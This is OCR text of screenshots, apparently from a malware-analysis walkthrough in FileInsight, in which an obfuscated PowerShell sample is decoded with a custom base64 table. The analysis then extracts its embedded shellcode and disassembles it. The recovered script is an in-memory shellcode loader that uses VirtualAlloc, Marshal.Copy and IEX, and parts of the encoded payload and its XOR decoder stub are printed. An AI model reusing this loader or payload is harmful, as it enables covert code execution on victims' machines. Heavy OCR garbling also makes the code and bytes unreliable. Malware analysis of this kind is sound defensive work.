61 57 35 6E ©2 47 56 50
4C 42 41 6F 5A 6E 56 75
oA 47 56773 5A 57 64 68
oB 52 42 4] 4B 46 74 4A
4C 43 42 62 53 57 35 30
4C 6B &C 75 &4 6D 39 72
58 32 68 30 €1 48 4R &C
S5A 6D 5A 6D SA 6D 5A &D
64 58 51 74 54 6E 56 73
535759 67 4B 46 74 4R

4F 6R 70 T2 G i i
4B # Custom basefd decode
62

54| Enter bazebd table:

ABCDEFGHUKLMMNOPQRSTUVWXYZabedefghijklmnopgrstuvweyz0123436739+ /=

eXNOZWOuUnvVudGlt
ZS5JbnRlcm9wUZVy
dmljZXMuTWFyc2hh
bFO060kd1l1dER1IbLGVn
YXRIEmMO9yRnVu¥3Rp
b250b2ludGVyEChm
AW5]X2d1ldF9wcm9]j
H2FkZHJ1lc3Mgaz2Vy
bmVsMzIuZGxsIFdh
2XRGb3JTaWSnbGEVE
YmplY3QpLCAoZnVu
Y1 9nZXREfZGVs dh
dGVEdHIwZSBAEFt J
bnROdHJIJALCBLSWSO0
MzJdESkpLkludmSr
ZSgkdmFyX2h0aHJl
YWOQsMHhmZmZmZmZm
ZikgfCBPdXQtTnVs

bRonNQARACEKSWYgEFtJ
g ]

aW

O

>
o]

4C SO TR JL L 00 T0 TF:

5A 3356 74 5A 57 35 30
49 48 77 67 &4 32 46 70
e 43 42 53 5A 57 4E &C
29 67 70 39 43 6D 56 712
E2) B 55 BE A alz 5 olE

6C 20 43 6E 30 4B

;LL.I\!IJ.HU[JJ_I‘(IJJ.U]\.L‘ £.
MzIgLUFyZ3VtZW50
ICREbO10IHwgd2Fp
dC1gb2IgfCBSZWNL
AXZ1LUpvYg '
c2Ugewod

1Cn0

L I = e
rod

Length 1

Pt 459 PM
CROlSROD®AD oo



w B2 Filelnsight - Output of Custom basefd decode® = >

Enter a URL here

N

Open Close Save

Use Internet Explorer Proxy

Enter your proxy as [Server:Port] here

Mavigation 30ac25c3121e969d195d7eadcf1... X Newfile 0* > ol i s Qe fay iR XL el Lol o
X Supported for HTML, OLE2, PE and Flash. Set-StrictMode -Version 2

$Dolt = @'
Hfunction func get proc address |

Param (S$var module, Svar procedurs)
Svar unsafe native methods = ([AppDomain]::CurrentDomain.Gethssemblies() | Where-Object { 5 .GlobalAssemblyCache -And 5 .Location.Split('\\')[-1].Equals('Syste

return $var unsafe native methods.GetMethod('GetProcRddress') .Invoke (fnull, @([System.Runtime.IntercpServices.HandleRef] (New-Object System.Runtime.IntercpServi
-1

Bfunction func get delegate type {

Param |
[Parameter (Position = 0, Mandatory = S$True)] [Tyvpell] Svar parameters,
[Parameter (Position 1)] [Type] $var return type = [Void]

Svar type builder = [AppDomain]::CurrentDomain.DefineDynamichAssembly ((New-Object System.Reflection.AssemblyName ('ReflectedDelegate'’)), [System.Reflection.Emit.
Svar type builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var parameters).SetImplemsntationFlz
Svar type builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', Svar return type, $var parameters).SetImplementationFlags ('Runtime, Managed')

return $var type builder.CreateType ()

-}

[Byte[]]$var code = [Systam.Convert]::FromBaseG%Strind{"ngAAAAAGydeixﬁngSLFjHagBYEVosOMdeDjHLgBYEg+oEMck5ynQC6+pbf+PoleffGlffl5JU3z+BﬁHXKgQFlﬁVWQMIssBEBpthAVkI

EPQVENRENINY BE Structures [ Decode

Sookmarks i fvar buffer = [System.Runtime.IntercpServices.Marshal]::GetDelegateForFunctionPointer ((func get proc address kernel32.dll VirtualAlloc (func _get delegate type @1

rhm_ [System.Runtime.InteropSsrvices.Marshall::Copy(Svar ceode, 0, 5var buffer, Swvar code.length)

Output

[
Decoded 358600 bytes with custom baseé4 table from offset 0x0 to 0x578c7. This BASE64 String (SheIICOde) Wi" be

2Added a bookmark to decocded region.
decoded and executed on memory

£ Values melbrlucus B Calculator By R Scripting
Ln17 Col4 Len0|INS
e = : i 459 PM
HH my ™ >_ +Y & RO ®E A [D 8/7/2021 L]

Press F1 for help




v B2 Filelnsight - Output of Custom basefid decode” - b4

Plugins

-[» Operations Copy to new file

Copy selected region (the whole file if not selected) to a new file

] McAfee

Compression L4 Bookrmark
Crypto 4 Cut binary to clipboard

l Plugins Encoding L4 Copy binary to clipboard

T Misc 4 Paste binary from clipboard L - ) ) "

Mavigation - [Teadcfl... \ £ 4 Output of Custom basefd decode® X

X S = Parsing L4 Delete befare ——

e carch > Delete after [Parameter (Position = 0, Mandatory = 5True)] [Typel]] 5var parameters,

Visualization » Fill [Parameter (Position = 1)] [Type] Svar return type = [Void]
XOR L4 Invert
Check for update Reverse order . . : : . : : : .
Version info Swap nibbles  type builder = [AppDomailn]::CurrentDomzin.DefineDynamlicAssembly ((New-Object System.Reflection.AssemblyName ('ReflectedDelegate’'}), [System.Reflection.Emit.

e e  type builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventicns]::Standard, $var parameters) .SetImplementationFlz

To upper case  type builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', S$var return type, S$var paramesters).SetImplementationFlags('Runtime, Managed')

To lower case :
rn $var type builder.CreateType ()

Swap case

[Bytel]l]5var code = [System.CDnvert]::FIDmBaseGdStrind{"ngAAAABGydeixEngSLFjHagBYEVDSOMdeDjHLgSYEg+oEMck5ynQCG+pbj+Pole//01ffl5JU32+BAWX!gQFlGVWQMIssBEBpthAVkI

Svar_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((func get proc address kernel32.dll VirtualAlloc
[System.Runtime.InteropServices.Marshal]::Copy($var code, 0, $Swvar buffer, Svar code.length)

nc_get delegate type @I

$var hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((func get proc tgate type €

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ( (func get proc_address kerne Extracting the BASE64 string e @([IntPt:
€ Script is running, please wait...

If ([IntPtr]::size -eq 8) {
T start-job { param(%a) IEX $a } -RunAs32 -Argument 5DolIt | wait-job | Receive-Job
}
else {
IEX $Dolt

EPQVENRENLIY B Structures [ Decode

okmarks

l'_

£ >
Output
£ >

£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]
Press F1 for help Ln 24

= =t H . Q_.‘ - ROl ®E A O

5:00 PM
87772021



w B2 Filelnsight - New file 1* = >

Home Edit Search Plugins Windows Help

|+ Operations

U McAfee

Nawvigation X Mewfile0* ®x Output of Custom basetd decode™ X [IYETEIENEIE 4 b »x

X supported for HTML, OLE2, PE and Fiash. 00000000 67 41 41 1!36 79 64 65 69 78 36 44|/ 0gARAAAGydeix6D
53 4C 46 167 38 59 45 56 6F 73 4F |[xgSLFjHag8YEVos0O
6D 4R 44 €7 38 59 45 €7 2B 6F 45 |MdmJDJHLgEYEg+0oE
6B 35 79 36 2B 70 62 2F 2B 50 6F |MckS5ynQC6é+pb/+Po
2F 2F 2F 66 Z2F 35 4R 55 33 JAZB|(1P///01EE£/5T3U03z+

15758 2F 67 6C 3656 57 51 4D 49 73 |BAWX/gQF16VWQMIs
1 45 42 70 74 41 56 6B 4C 53 4D 49 4F |s8EBptiBAVKLSMIO
TA 43 44 6D 50 64 34 4C 37 49 68 38 |Y0zCDmMcPd4L7IhS
53 4E 66 46 33 59 4F 4F 68 4FE 32 44 |XYSNfF2E3YOOhNZD
54 64 67 34 33 59 4F 4F 68 4FE 32 44 |joTdg46E3YOOhNZD
54 64 67 32 5A 34 31 6F 4C 32 3541 |ZoTdg2ibZ410L25A
64 76 44 49 4F 32 54 74 7852 73 55|82dvDIS202TEtXREU
70 38 5A 76 1158 41 57 6671 54 4A 71 |n6pB8ZvTHXAWEQTIg
6C 51 44 38 4R 57 48 72 6B 6B 74 42|6410D8vIJWHrkktB
30 59 59 €3 66 41 54 7376 33 45 4F |[r90YYcRKyfATsv3EOD
39 78 44 73 63513478 73 64 68 69 |yL9xDsi/cQ4xsdhi
34 66 58 54 3247 4B 4D 33 68 39 64 |JN4fXTGx2GEM3hod
4F 63 59 72 6D 31 3057 73 63 6C 69 |L+NcYrWMmlOWscli
34 4F 58 52 53 6D 4C 64 6A 49 31 64 |uN40XRviSmLdjIld
55 78 59 39 6031 49 4A 54 42 69 |RyUxYVvVE911IJTBI
72 33 58 7557 4B 4F 47 48 35 64 |JOr3XYR3uWRKOGHSd
55 72 59 37 46 30 79 64 37 70 69 |LSUrYpFRTFOyd7pi
68 39 58 48 6A 56 65 48 74 6B 4B|jhh9XdxxHjVhHtkEK
37 S5A 43 3251 70 68 48 74 6B 4B |YR7ZCmEe2QphHt kK
37 S5A 43 3251 7039577477 4B|YRTZCJFb2Qp9WtwK
6A 74 58 37 56 30 2F 43 4F 31 64 |PwjtXT8I7V0/Ccold
Bookmarks 1 6A 76 66 35 6E TA 5549 2B 52 38 |3wivENQISnzUI+RE

T ; 33 6B 66 3548 77 5SA 6D 7556 38 |1P3kfNT95HWZmMuvS

72 6C 66 3533 7752797564 73|GYrlfBnKS3wZyuds

72 6E 62 35327763 324F 64 73 |GdrnbBnYS52wc20ds

EPQVENRENINY BE Structures [ Decode

Output

Coplied 266320 bytes from cffset 0x63f to 0x4léBe to new tab 'New file 1°'.

£ Values melbrlucus B Calculator By R Scripting

C = ' *



v B2 Filelnsight - New file 1* - >

Edit Search Plugins Windows Help

=[» Operatior Basic 2
= I McAfee
Crypto

Plugins m— Hex text to binary data

Mavigation Mlsc. ’ Encode » Deumaltextt? binary data X Mewfile0* X Output of Custom basetd decode™ X [EETRTIN k-4
X supportes 7" ) . e e e |A4C 3556 5573 79 2F 46 56 4C 4D 76 78] 8VUsy/ v
Search » Binary text to binary data VSzLE8VUsy/ L :
Vieuslisation ¥ e T A 4C 38 56 55 7379 2F 46 56 4C 4D 76 78| VSzL8VUsy/FVLMvx
OR , R A 4C 3856 557379 2F 46 56 4C 4D 76 78/ VvszL8VUsy/FVLMvX
— Custor baceS? decode 7 4C 38 56 55 7379 2F 46 56 4C 4D 76 78|[VszL8VUsy/FVLMvX
Vercion infa o o A 4C 38 56 55 7379 2F 46 56 4C 4D 76 78|(VszL8VUsy/FVLMvX
Custorn baseds decode 2L 4C 38 56 ! Decode selected region with custom basef4 table S 2L S VT S ¥/ iV
7 4C 38 56 55 73:79 2F 46 56 4C 4D 76 78}|VSzL8VUsy/
Protobuf decode I\ 4C 38 56 55 7379 2F 46 56 AC 4D 76 78i[VSzL8VUsy/
From quoted printable A 4C 38 56 557379 2F 46 56 4C 4D 76 78|VSzLE8VUsy/
Unicode unescape 7 4C 38 56 55 7379 2F 46 56 4C 4D 76 78{|VSzL8VUsy/
URL decode A 4C 38 5655 7379 2F 46 56 4C 4D 76 78| VS zLEVUsy/

=~

56 53 1A AC 38 56 55 712179 2F 46 56 4C 4D 76 78
56 53 7TA AC 38 56 55 712179 2F 46 56 4C 4D 76 78
56 53 7A4C 38 565573179 2F 46 56 4Cc 4D 76 78
56 53 7A4C 38 5655 73,79 2F 46 56 4C 4D 76 78
56 537A4C 38 56557379 2F 46 56 4C 4D 76 78
56 537A4C 38 5655 73:79 2F 46 56 4C 4D 76 78
56 537A4C 38565573179 2F 46 56 4C 4D 76 78
56 537A4C 38565573179 2F 46 56 4C 4D 76 78
56 53 7TA 4C 38 56 55 73,79 2F 46 5645%.3@3
56 53 7A4C 38 56 55 73:79 2F 46 56 4

56 537A4C 38 5655 73:79 2F 46 56 4C 4D 76 78
56 537A4C 38565573179 2F 46 56 4C 4D 76 78
56 537A4C 38565573179 2F 46 56 4C 4D 76 78
56 53 7A4C 38 5655 73,79 2F 46 56 4C 4D 76 78

zL8VUsy/
zL8VUsy/
zLB8VUsy/
zLE8VUsy/

chJsxf

< < =

=~

o M e e s e~ e e e |
< = +1

.;'_-_h -

= <
Lo T T T o o O O o O (J'_w 0o o 02 00 00 B0 00 D0 00 00 00 00 00 00 00 0 02 o 0

%)

Iease wait...

=~

=~

zLEhJS}f
zLE8VUsy/
zLE8VUsy/

=~

=~

EPQVENRENLIY B Structures [ Decode

- R R M R R R
4)

56 53 TA4C 3856 55 73!79 2F 46 56 4Cc 4D 76 78{|VsSzLEVUsy/ 17

56 53 7A4C 3856557379 2F 46 56 4Cc 4D 76 78| VSzLEVUsy/FVLMvVX

56 53 7TA4C 38 56 55 7379 2F 46 56 4C 4D 76 78| VSzLEVUsy/FVLMVX
0004104F 7R 4C 3856557379 2F 46 56 4C 4D 76 78{|{VSzLE8VUsy/FVLMvx

Output

£
£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]
Press F1 for help Off 1(0)  Length 41

501 PM

= S . - TlenoRAD oo




v B2 Filelnsight - New file 1* - >

Edit Search Plugins

h_ Plugins _‘

Mavigation 30ac25c3121e069d195d7eadcf1... X MNewfile0* X Output of Custom basebd decode™ X VETETIN kS

X Supported for HTML, OLE2, PE and Flash. 7n 4C 38 79 2F 46 56 4C 4D 7€ 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TA 4C 38 79 2F 46 56 4C 4D T7e 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
TR 4C 38 79 2F 46 56 4C 4D 76 78
7a 4C 38 79 2F 46 56 A mudnnald
TR 4C 38 78 ? Custom basef4 decode O *
TR 4C 38 78
TR 4C 38 78| Enter basefd table:  |ABCDEFGHUKLMNOPORSTUVWEYZ abedefghijklmnoparstuvanyz0123456739+/= ﬂ
7A4C38 79&]’.‘ qTO JUOU I F0Or TOC 7O VDL.‘LIU‘(UBI}'L“(.LIL‘IVAE
TR 4C 38 79 2F 46 56 4C 4D 76 78 ‘.-'SZLE‘-‘.-'TJS}-'.-’rE“.-'LI*{VXE
TR 4C 38 79 2F 46 56 4C 4D 76 78i|VSzLE8VUsy/ '\.-'LP{'-:X%
TR 4C 38 79 2F 46 56 4C 4D 76 78 '\.-'EzLEiT,FLTS}-'.-"T"x-'LM'-:xg

TA 4C 38 79 2F 46 56 4C 4D 76 78i|VSzLE8VUsvy/ ",-'LP{'-IXE
0004104F TR 4C 38 79 2F 46 56 4C 4D 76 TB(WSzLB8VUsv/ ",-'LP{'-IXE

=~

0o o 02 00 00 B0 00 D0 00 00 00 00 00 00 00 00 02 0 0
T T Y o N Y o Y o Y O o Y o Y A o Y Y o O o I O o O o O

%)

€O CO CO CO CO CO €0 €O €0 CO €0 €O €0 €O €0 CO €O CO O

[ T T T B T I O~ 4 I 4 I 4 4 - R B B
| | | | 1 1 1 1 1 1 1 1 1 1 1 | | |
=z =t T T~ S s R — O s B s B s B — S s s S — B ™ =
= R R - T T T T R S R RS R
¥ ¥ ¥ ¥ ¥ ¥ ' ' ' ' ' ' ' ' ' ¥ ¥
S T T T I S B I IS RS B S I S IS B S I S S

s o O o O o Y o Y o Y Y Y ) o Y o Y ) e o e A e e I

EPQVENRENLIY B Structures [ Decode

Output

£
£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]
Press F1 for help Off 1(0)  Length 41
5:01 PM

w S M : ® & TlenoRAD oo



w B2 Filelnsight - Output of Custom basefd decode® = >

Home Edit Search Plugins Windows Help

U McAfee

Navigation 3d30ac25c3121e969d195dTeadcf1... X Newfile0* X Output of Custom basefd decode® X Newfile 1% X RTINS RO el Wi =L R S [l 4

X Supported for HTML, OLEZ, PE and Flash. FC ES 00 00 00 OO EB 27 '5E 8B 1E 83 C6 04 8B 16
31 DA 83 C6 04 56 8B OE 31 D9 89 OE 31 CB 83 C6
04 83 EA 04 31 C9 39CA 74 02 EBEA SBFFE3 ES
D4 FF FF FF 49 SF 7F FE 49 53 7C FE 04 05 97 FE
04 05 97 A5 56 40 C2 2C B3 C1 01 A6 D8 C1 01 59 Ve ShE"COde
OB 48 C2 OE 63 4CC2 0E 63 1IC3DDEOBECS887C| H «cL
5D 84 8D 7C 5D 84 DD 83 SE 84 DD 83 8E 84DD 83|11 |1
SE 84 DD 83 8E 84 DD 83 66 84 DD 83 68 9B 67 8D
68 2F 6E 40 49 97 6F 0C 84 B6 3B 64 EDC5 1B 14 |h/n@I o

9F AA 7C 66 FE C7 5C 05 ' 9F A9 32 6A EB 89 50 OF E

CB FB 25 61 EB 92 4B 41 AF DD 18 61 C2 B2 7C 04 $£a EA

EC BF 71 OE C8 BF 71 OE C8 BF 71 OE 31 B1 D8 62 q q g 1
8C DE 1F 5D 31 B1 D8 62 8C DE 1F 5D 2F E3 5C 62
BS5 8C 9B 5D 16 B1 C9 62 BE DE OE 5D 1B E3 4A 62
DD 8C 8D 5D 47 25 31 62 F5 4A F6 5D 48 25 30 62
27 4A F7 5D 84 77 B9 62 ' 8E 18 TE 5D 2D 25 2B 62
91 4A EC 5D 32 77 BA 62 '8E 18 7D 5D DC 71 1E 35
61 1FE D9 OA 61 1E D9 OA 61 1E D9 OA 61 1E D9 OA
61 1F D9 OA 31 5B D9 OA 7D 5A DC OA 3F 08 ED 5D
3F 08 ED 5D 3F 08 ED 5D DF 08 EF 7C D4 09 E6 7C
D4 23 E4 7C DA FDE4 7C D4 FDE4 7C 19 9A ES 7C
19 8AE5 7TC 19 CAE7 7C 19 CAE7 6C 19 DA E7 6C
19 D8 E7 6C 1C DB E7 6C 1C D8 E7 6C 19 D8 E7 6C
19 D8 E7 6C 19 FB E3 6C .19 FC E3 6C 62 08 EO 6C
€0 08 A0 6D 60 08 BO 6D 60 18 BO 6D 60 18 AQ 6D
€0 08 A0 6D 60 08 A0 6D 70 08 A0 6D 70 E9 AZ 6D
Bookmarks 21 E9 A2 6D F5 26 A0 6D 55 26 A0 6D 55 D6 A3 6D
E1l D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D
E1l D7 A3 6D E1 D7 A7 6D 05 CO A7 6D 75 83 A5 6D
69 83 A5 6D 69 83 A5 6D 69 83 AS 6D 69 83 A5 6D

=

1 Jb
]H%O0b
]1-%+b

&

[
5 E e
=
ooooo
[

—

w3 = [
i1}

F

EPQVENRENINY BE Structures [ Decode

F

-]

d 8 d g PR ———
gEE8EERHRPH———

-

Output

Decoded 266320 bytes with custom base64 table from offset 0x0 to 0x4104f.
2Added a bookmark to decocded region.

£ Values melbrlucus B Calculator B8 ER Scripting

Y - cAmnoEA Qg UM

8/7/2021



v B2 Filelnsight - Output of Custom basefid decode” - b4

Home Edit Search Plugins

I
b Opera Basic
Compression
g

Crypto
Navigation Misc

Encoding

- v w v ¥

: 2daiocanr 31 21e069d195d7eadcf1... X MNewfile0* X Output of Customn basefd decode™ X Newfile 1% X JROIN oIV 8] SOV 0Ty W0 E2 LA T T (Sl 4

X Suppor Binwalk scan 00000 | |FC E8 00 00 00 00 EB 27 !5E 8B 1E 83 C6 04 8B 16 ' n
search QL Disessermble | 31 DA 83 C6 04 56 8B OE 31 D9 89 OF 31 CB 83 C6 |1 v 1 1
Visualization ' Fflet_ype_ {0 Disassemble selected region CA 174 02 EB EA 5B FF E3 ES 1 9 ¢ [
sl S D (the whole file if not selected) FE | 49 53 7C FE 04 05 97 FE I IS
Check for update Parse file structure 04 05 97 A5 56 40 C2 2C'B3 C1 01 A6 D8 C1 01 59 ve , Y
Version info Show metadata OB 48 C2 0E 63 4CC2 0E!63 IC3DDEOBECB887C| H <¢cL ¢ = I

Strings 5D 84 8D IC 5D B84 DD 83 8E 84 DD 83 8E 84 DD 83| ] 11
8E 84 DD 83 8E 84 DD 83 66 84 DD 83 68 9B 67 8D £ h g
68 2F 6E 40 49 97 6F 0C 84 B6 3B 64 EDC5 1B 14 |h/n@I o ;d
9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 89 50 OF £\ 29 P
CB FB 25 61 EB 92 4B 41 !AF DD 18 61 C2 B2 7C 04 $a KA a |
EC BF 71 OE C8 BF 71 OE:C8 BF 71 OE 31 B1 D8 62 q q g1 b

8CDE 1F 5D 31 E1 D8 €2 8C DE 1F 5D 2F E3 5C 62 11 b 1/ \b
B5 8C 9B 5D 16 B1 C9 62 B8 DE OE 5D 1B E3 4A 62 1 b 1 Jb
DD 8C 8D 5D 47 25 31 62 ,F5 4A Fé 5D 48 25 30 62 16%1b J 1H%0Db
274nrF7 5D 84 7T7TB962:8E18TESD2D252B62('TJ ] w b ]1-%+b
91 4AECS5D 32 77BAGZ!BE1I8TDSDDCT11E35| J 12w b ] g 5

61 IEDY OA 61 IEDY OR 61 IEDIOA 6L IEDIOA|la a a a
61 1E D9 0A 31 SBDY 0A{TDSADC 0A3FO0SEDSD|a 1[I 2 2 ] )
3F 08 ED 5D 3F 08 ED 5D;DF 08 EF 7C D&
D4 23 E4 7C D4 FD E4 7C!D4 FD E4 7C 1§£@3 i§ |I|-f|nr“ng' Hlease Walt...
19 BA ES5 7C 19 CAE7 7C 19 CA E7 6C 19 DA E7 6C I I 1 1
19 D8 E7 6C 1C D8 E7 6C | 1C D8 E7 6C 19 D8 E7 6C 1 01 1 1
19 D8 E7 6C 19 F8 E3 6C |19 FC E3 6C 62 08 E0 6C 1 1 1b 1

- 60 08 A0 6D 60 08 BO 6D 60 18 BO 6D 60 18A06D|° m° m° m° m

ERALTELL) BE Structures [3] Decode 60 08 A0 6D 60 08 A0 6D 70 08 A0 6D TO0E9A2 6D|° m° mp mp m
21 E9 A2 6DF5 26 A0 6D:55 26 A0 6D55D6A36D|! m & mUs mU m
E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D m m m  om
E1 D7 A3 6D E1 D7 A7 6D;05 CO A7 6D 75 83 A5 6D m m  mu m
69 83 A5 6D 69 83 A5 6D 69 83 A5 6D 69 B83A56D|i mi mi mi m

Output

£
£ Values MelbElucus BE Calculator =] Qutput JlscRIiTals]
Press F1 for help

EoE=E . - cAamTmE A D

501 PM
87772021




v B2 Filelnsight - Output of Custom basefid decode” - b4

h_ Plugins _‘

Nawvigation 30ac25c3121e969d195d7eadcf1... X MNewfile0* X  Output of Custom basebd decode™ X Newfile 1% X JoIT o0 RONEdaly W EETS Rl T (Sl o

X Supported for HTML, OLE2, PE and Flash. 00000000 FC ES 00 00 00 OO EB 27 !5E 8B 1E 83 C6 04 8B 16
31 DR 83 C6 04 56 8B 0OE!31 D9 89 OE 31 CB 83 Cé
04 83 EA 04 31 C9 39 CAi74 02 EB EA 5B FF E3 ES
D4 FF FF FF 49 5F 7F FE 49 53 7C FE 04 05 97 FE _
04 05 97 A5 56 40 C2 2C'B3 C1 01 A6 D8 C1 01 59 Ve
OR48 C2 0E 63 4CC20E 63 IC3DDEOREC BB IC| H <L
5D 84 8D 7C 5D 84 DD 83 8E 54 DD 83 8E 84 DD 83 | ] 1]
BE 84 DD 83 8E 84 DD 83 166 54 DD 83 68 9B 67 8
68 2F 6E 40 49 97 6F 0C 8B4 B6 3B 64 EDC5 1B 14 [h/n@I o
9F AR 7C 66 FE C7 5C 05! 9F A9 32 6A EB 89 50 OF £\
CB FB 25 61 EB 92 4B 41 |AF DD 18 61 C2 B2 7C 04 $a KA
EC BF 71 OE C8 BF 71 OEC8 BF 71 OF 31 B1 D8 62 q
BC DE 1F 5D 31 B1 D8 62 i 8C DE 1F 5D 2F E3 5C 62
BS5 8C 9B 5D 16 B1 C9 62 ;B8 DE OE 5D 1B E3 4A 62
DD 8C 8D 5D 47 25 31 62 !F5 42 F6 5D 48 25 30 62
27 4R F7 5D 84 77 B9 62 .8E 18 7E 5D 2D 25 2B 62
91 42 EC 5D 32 77 BA 62 (8E 18 7D 5D DC 71 1E 35
61 1E D9 O 61 1E D9 OA: 61 1E D9 O& 61 1E D9 OA a
61 1E D9 OA 31 5B D9 OR 7D 52 DC OA 3F 08 ED 5D 17
3F 08 ED 5D 3F 08 ED 5D!DF 08 EF 7C D§£@S # Disassemble — %
D4 23 E4 7C D4 FDE4 7C'D4 FDE4 7C 1

19 8AES5 7C 19 CAE7 7C:19 CAE7 6C 19 DA E7 6C Architecture: [ -
19 D8 E7 6C 1C D8 E7 6C:1C D8 E7 6C 19 D8 E7 6C
19 D8 E7 6C 19 F8 E3 6C 19 FC E3 6C 62 08 E0 6C
60 08 AD 6D 60 08 RO 6D’ 60 18 BO 6D 60 18 AD 6D
60 08 AD 6D 60 08 A0 6D 70 08 AO 6D 70 E9 A2 6D
21 E9 A2 6D F5 26 A0 6055 26 A0 6D 55 D6 A3 6D
E1 D7 A3 6D E1 D7 A3 6D:E1 D7 A3 6D E1 D7 A3 6D
E1 D7 A3 6D E1 D7 A7 6005 C0O A7 6D 75 83 A5 6D
69 83 A5 6D 69 83 A5 6D' 69 83 A5 6D 69 83 A5 6D

Edit Search Plugins

EPQVENRENLIY B Structures [ Decode

Output

£ Values MelbElucus BE Calculator LN A Scripting
Press F1 for help
5:01 PM

w S M : ® & TlenoEAD oo



w B2 Filelnsight - Disassembly™ = >

U McAfee

Edit Search Plugins Windows
*,

RETE 2

Close Close All Close File
: i i Dranartie

E Mew Horizontal Tab Group
m Mew Wertical Tab Group

Disassembly code

Navigation Output of Custom basefsi LAY Disassembly* X

X Supported for HTML, OLEZ, PE and Flash. 00000000 FCES 000000 00 EB 27 5E 8B 1F 83 C6 04 : 001 cld
31 DR 83 C6 04 56 8B 0OF 31 D9 §9 OE 31 CB : : ; Oxl: call &
04 33 EA 04 31 C9 39 CA 74 02 EB EA 5B FF 0x6 - jmp 0x2f
D4 FF FF FF 49 SF JF FE |49 53 7C FE 04 05 _ Ox8: pop esi
04 05 97 25 56 40 C2 2C B3 CL 01 26 D8 C1 0O V@ 0x9: mov ebx, dword ptr [esi]
0B 45 C2 0E 63 4CC2 0E. 63 1C 3D DE OB EC H cL OxB: 2dd
5D 54 8D 7C 5D 94 DD 83 8E 54 DD 83 8E 54 131 11
BE 54 DD S3 8E 54 DD 53 66 34 DD 83 68 9B
68 2F BE 40 49 97 6F 0C B4 B6E 3B 64 EDCS 1B 14 |h/n@I o
9F LA 7C 66 FE C7 5C 05.9F A9 32 GA EB 89 | £
CB FB 25 61 EB 92 4B 41 'AF DD 18 61 C2 B2
EC BF 71 OE C8 BF 71 OEC8 BF 71 0OE 31 Bl
BC DE 1F 5D 31 B1 D8 62 | 8C DE 1F 5D 2F E3 ; Oxl18: ®or ecx, ebx )
B5 8C 9B 5D 16 B1 C9 62 B8 DE OF 5D 1B E3 Oxla:  mov dword ptr [esi], ecx
DD 8C 8D 5D 47 25 31 62 ! F5 42 F6 5D 48 25 ; OxlC:  =zor ebx, ecx
27 42 F7 5D 84 77 B9 62 ' 8E 18 7E 5D 2D 25 Ox1E: add ssi, 4
91 4AEC 5D 32 77 BA G2 !8E 18 7D 5D DC 71 ] 0x21: sub edx, 4
€1 1ED% 02 61 1E DY €1 1E DS 02 €1 1E Ox24: XOr 2CE,
&1 1E D9 OA 31 5B Ox26: cmp edx,
3F 08 ED 5D 3F 08 0x28: Jje OxZ2c
D4 23 E4 7C D4 FD 0x2A: Jmp 0x16
19 3R ES5 7C 19 CA Ox20C: op ebx
19 D8 E7 6C 1C DE ET 1c D8 6C 19 D8 E7 0%2D- jmp ebx
19 D8 E7 6C 19 FE E3 19 FC 6C 62 08 EO 0%2F: call 8
60 08 R0 6D 60 08 BO 60 18 6D 60 18 AD 0x34 - dec ccx
60 08 R0 6D 60 08 &AD 70 08 6D 70 ES A2 035 - pop edi
Bookmarks 1 21 E9 A2 6D F5 26 A0 55 26 6D 55 DE A3 0%36: ig 0x36
T E1 D7 A3 6D E1 D7 A3 €0 E£1 D7 A3 €0 EL D7 A3 0x38:  dec ecx

E1 D7 A3 6D E1 D7 A7 05 CO0 A7 6D 75 83 AS foag. e
69 53 A5 6D 69 53 AS 69 93 A5 6D 69 3 AS

esi, 4

0xE: mov edx, dword ptr [esi]
O0x10: xor edx, ebx

0xl1Z2: add esi, 4

0x15: push esi

Oxle: mov ecx, dword ptr [esi]

EPQVENRENINY BE Structures [ Decode

g88HEErRHRKH——=

Output

Disassembled the whole file.
Disassembly code is shown in the new "Disassembly" tab.
Disassembly settings:
Architecture: =8¢
Disassembly finished prematurely at offset Oxdf.
Added bookmark to the end of disassembly.

£ Values FelEGENS B Calculator SRl B Scripting
Press F1 for help Ln 24
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Q-

File Home Edit Search Plugins Wint

Filelnsight - Disassembly™

=[» Operatiol Basic

Deobfuscating malware executable file
in the shellcode with code emulation

Emulate code -
3113'1 )69d195d 7eadcfl... X I * X Qutput of Custorn basebd decode® 5 RS Output of Custom basebRLEEPS

rd

Compressicn
Crypto

l Plugins Encoding

Mavigation

»
b
»
b

X Supported Parsing ’ File comparison o000 Ermulate selected region as an executable or shellcode (= - 1A N
Search . Hash values b FC with Qiling Framewaork (the whole file if not selected) oLl . =l =l [FC] .
Visualization ~ *|  Sendto (CLI) 31 s vv S v v v v e e v w1 CB B3 C6E |1 v 1 1 Ox1: call & [E8 00 00 00 00]
e b Sendto (GUI 04 83 EA 04 31 C9 39 CAi74 02 EB EA 5B FF E3 E§ 1 9 t [ Tre(Fe jmp 0x2f [EB 27]
